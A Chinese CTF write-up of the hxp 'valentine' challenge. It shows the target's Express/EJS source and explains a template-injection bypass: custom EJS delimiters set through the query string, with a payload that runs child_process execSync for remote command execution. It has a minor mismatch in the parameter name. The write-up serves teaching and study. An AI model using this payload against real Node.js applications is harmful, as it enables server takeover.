hxp ctf valentine ejs ssti 语法特性造成的漏洞

拿到源码,是一个node.js写的后端,源码如下:

app.js:

var express = require('express');
var bodyParser = require('body-parser')
const crypto = require("crypto");
var path = require('path');
const fs = require('fs');

var app = express();
viewsFolder = path.join(__dirname, 'views');

if (!fs.existsSync(viewsFolder)) {
  fs.mkdirSync(viewsFolder);
}

app.set('views', viewsFolder);
app.set('view engine', 'ejs');  //设置express使用的render engine

app.use(bodyParser.urlencoded({ extended: false }))

app.post('/template', function(req, res) {
  let tmpl = req.body.tmpl;
  let i = -1;
  while((i = tmpl.indexOf("<%", i+1)) >= 0) {
    if (tmpl.substring(i, i+11) !== "<%= name %>") {
      res.status(400).send({message:"Only '<%= name %>' is allowed."});
      return;
    }
  }
  let uuid;
  do {
    uuid = crypto.randomUUID();
  } while (fs.existsSync(`views/${uuid}.ejs`))

  try {
    fs.writeFileSync(`views/${uuid}.ejs`, tmpl);
  } catch(err) {
    res.status(500).send("Failed to write Valentine's card");
    return;
  }
  let name = req.body.name ?? '';
  return res.redirect(`/${uuid}?name=${name}`);
});

app.get('/:template', function(req, res) {
  let query = req.query;
  let template = req.params.template
  if (!/^[0-9A-F]{8}-[0-9A-F]{4}-[4][0-9A-F]{3}-[89AB][0-9A-F]{3}-[0-9A-F]{12}$/i.test(template)) {
    res.status(400).send("Not a valid card id")
    return;
  }
  if (!fs.existsSync(`views/${template}.ejs`)) {
    res.status(400).send('Valentine\'s card does not exist')
    return;
  }
  if (!query['name']) {
    query['name'] = ''
  }
  return res.render(template, query);
});

app.get('/', function(req, res) {
  return res.sendFile('./index.html', {root: __dirname});
});

app.listen(process.env.PORT || 3000);

这道题的漏洞点在

return res.render(template, query);

 template就是根据创建的ejs文件template.js,query就是用户的传参,这里的漏洞在于ejs允许自定义分隔符,like this:

// 单个模板文件
ejs.render('<?= users.join(" | "); ?>', {users: users},
    {delimiter: '?'});

参考官网文档:https://ejs.bootcss.com/

 比如说template.ejs文件的内容是<%= name %>,传参是?name=aaa,执行的命令就是ejs.render('<%= name %>',{name:aaa})

这道题tmpl传参控制了template.ejs的文件内容,且内容限制了以<%开头的字符串必须是<%= name %>,我们可以自定义分隔符,传参:?template=<*= global.process.mainModule.require('child_process').execSync('type flag.txt') *>,然后得到重定向链接,再传入?delimiter=*,就成功RCE了。

 ps:这道题我是赛后使用windows复现的,所以使用的命令是type flag.txt

 

posted @ 2023-03-14 19:22  Galio  阅读(443)  评论(0编辑  收藏  举报